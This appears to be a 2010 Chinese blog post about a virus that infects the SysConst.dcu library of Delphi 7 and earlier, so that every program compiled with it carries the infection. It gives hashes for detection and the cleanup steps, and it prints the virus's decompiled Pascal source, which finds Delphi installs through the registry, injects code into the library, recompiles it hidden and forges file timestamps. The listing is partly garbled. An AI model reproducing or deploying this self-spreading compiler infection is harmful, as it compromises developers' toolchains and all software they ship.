在DELPHI盒子与DELPHI群里看到的,据说只感染DELPHI7以下的版本(包含DELPHI7),貌似N多人中招了。感染此病毒后,所有用DELPHI编译的程序全都有感染能力。

如果在 C:\Program Files\Borland\Delphi7\Lib 发现有 SysConst.bak (12KB) 和
SysConst.dcu (18KB)

文件: C:\Program Files\Borland\Delphi7\Lib\sysconst.bak
大小: 11658 字节
修改时间: 2002年8月9日, 22:00:00
MD5: 957D629F2E4C38B9FA2AC911E352FC82
SHA1: 859EFAF4C24AF89E2B06922912D1081BAD349E7C
CRC32: 004EBB9D

文件: C:\Program Files\Borland\Delphi7\Lib\sysconst.dcu
大小: 18207 字节
修改时间: 2002年8月9日, 22:00:00
MD5: 89DD28E7C1EAEAE1793D9354E7C38D21
SHA1: F7EF5B9C3C85FF01299556C5546CAD511CA9F5A8

那么恭喜你,中招了。

原版下载:SysConst.rar

该病毒没有exe或者dll的毒源体,因为自 SysConst.dcu 被置换的一刻开始,你已经是毒源体的创造者,该病毒原来早在 2005 年已经被发现,一个软件 QIP 2005 build 8094 中就曾经染毒,然后扩散看来,该病毒代码简单看来并没有伤害性,但是它完全是一个病毒的形态,不知道哪天会被利用的,那个俄罗斯高人把这个病毒分析出了源代码,并且提出了一个切实可行的解决方法,根据该病毒的特性,第一时间就是要把 Lib 中的 sysconst.bak 复制一份改名为 sysconst.dcu,注意,是复制而不是直接改名,因为如果你的系统还有潜在威胁的时候,如果还是有 sysconst.bak 在,那么这个病毒会认为它的工作已经完成而不会去动你的原版 sysconst.dcu,然后你要把你所有的项目重新编译,因为他们都已经染毒了。最好是做一下全盘检查。
BTW: 为什么一个 2005 年的“病毒”到了今天仍然还有那么多杀毒软件不报呢,因为从代码上来说,它的破坏性并没有,但是它的确拥有了病毒的特性。

反编译的源码如下:

function x(s:string):string;  
var
i:integer;  
begin
   for i:=1 to length(s) do   
       if s=#36 then s:=#39;  
result:=s;  
end;</span></span>  
   
procedure re(s,d,e:string);  
var
    f1,f2:textfile;  
    h:cardinal;  
    f:STARTUPINFO;  
    p:PROCESS_INFORMATION;  
   b:boolean;  
   t1,t2,t3:FILETIME;  
begin
    h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);  
    if h<>DWORD(-1) then
   begin
       CloseHandle(h);  
       exit;  
end;  
{'I-}assignfile(f1,s);  
reset(f1);  
if ioresult<>0 then
       exit;  
assignfile(f2,d+'pas');  
rewrite(f2);  
if ioresult<>0 then
begin   
       closefile(f1);   
       exit;  
end;  
while not eof(f1) do
begin
       readln(f1,s);  
       writeln(f2,s);  
       if pos('implementation',s)<>0 then
       break;  
end;  
for h:= 1 to 1 do
       writeln(f2,sc[h]);  
for h:= 1 to 23 do
       writeln(f2,''''+sc[h],''',');  
writeln(f2,''''+sc[24]+''');');  
for h:= 2 to 24 do
       writeln(f2,x(sc[h]));  
closefile(f1);  
closefile(f2);  
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));  
fillchar(f,sizeof(f),0);  
f.cb := sizeof(f);  
f.dwFlags := STARTF_USESHOWWINDOW;  
f.wShowWindow := SW_HIDE;  
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);  
if b then
       WaitForSingleObject(p.hProcess,INFINITE);  
       MoveFile(pchar(d+'bak'),pchar(d+'dcu'));  
       DeleteFile(pchar(d+'pas'));  
       h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);  
       if h=DWORD(-1) then
       exit;  
       GetFileTime(h,@t1,@t2,@t3);  
       CloseHandle(h);  
       h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);  
       if h=DWORD(-1) then
       exit;  
       SetFileTime(h,@t1,@t2,@t3);  
       CloseHandle(h);  
end;  
procedure st;  
var
     k:HKEY;  
    c:array [1..255] of char;  
    i:cardinal;  
    r:string;  
   v:char;  
begin
for v:='4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('SoftwareBorlandDelphi'+v+'.0'),0,KEY_READ,k)=0 then
begin
i:=255;  
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
       r:='';  
       i:=1;  
       while c<>#0 do
       begin
         r:=r+c;  
         inc(i);  
       end;  
       re(r+'sourcertlsysSysConst'+'.pas',r+'libsysconst.','"'+r+'bindcc32.exe" ');  
end;  
RegCloseKey(k);  
end;  
end;  
begin
st;  
end.

最后修改:2010 年 08 月 11 日
一分也是爱